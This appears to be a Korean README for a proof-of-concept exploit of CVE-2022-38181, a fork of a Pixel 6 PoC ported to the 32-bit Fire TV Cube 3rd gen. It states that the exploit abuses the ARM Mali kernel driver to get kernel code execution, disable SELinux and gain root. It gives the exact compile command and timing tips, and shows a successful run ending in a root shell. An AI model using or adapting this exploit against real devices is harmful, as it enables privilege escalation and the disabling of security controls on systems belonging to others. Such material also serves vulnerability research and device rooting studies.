
CVE-2022-38181 FireTV 3rd gen Cube(gazelle)용 POC
이것은 보안 연구원 Man Yue Mo의 Pixel 6 POC를 CVE-2022-38181에 맞게 포크한 것입니다. 취약점에 대한 자세한 분석은 여기에서 확인할 수 있습니다. FireOS의 32비트 사용자 공간에 맞게 변경되었습니다. 이 POC는 ARM Mali 커널 드라이버의 버그를 악용하여 임의의 커널 코드 실행을 달성하고, 이를 사용하여 SELinux를 비활성화하고 루트 권한을 얻습니다.
다음 명령어를 사용하여 ndk-21의 clang으로 컴파일했습니다:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o gazelle_shrinker
익스플로잇은 Cube가 부팅된 후 30~90초 사이에 실행해야 가장 높은 신뢰성을 얻을 수 있습니다.
gazelle:/ $ /data/local/tmp/gazelle_shrinker
fingerprint: Amazon/gazelle/gazelle:9/PS7613.3701N/0025401652480:user/amz-p,release-keys
failed, retry.
failed, retry.
region freed 47
alias gpu va 100c83000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 6 0
Found freed_idx 6
Found pgd 23, 100d30000
overwrite addr : 104100558 558
overwrite addr : 104300558 558
overwrite addr : 10410082c 82c
overwrite addr : 10430082c 82c
result 50
gazelle:/ #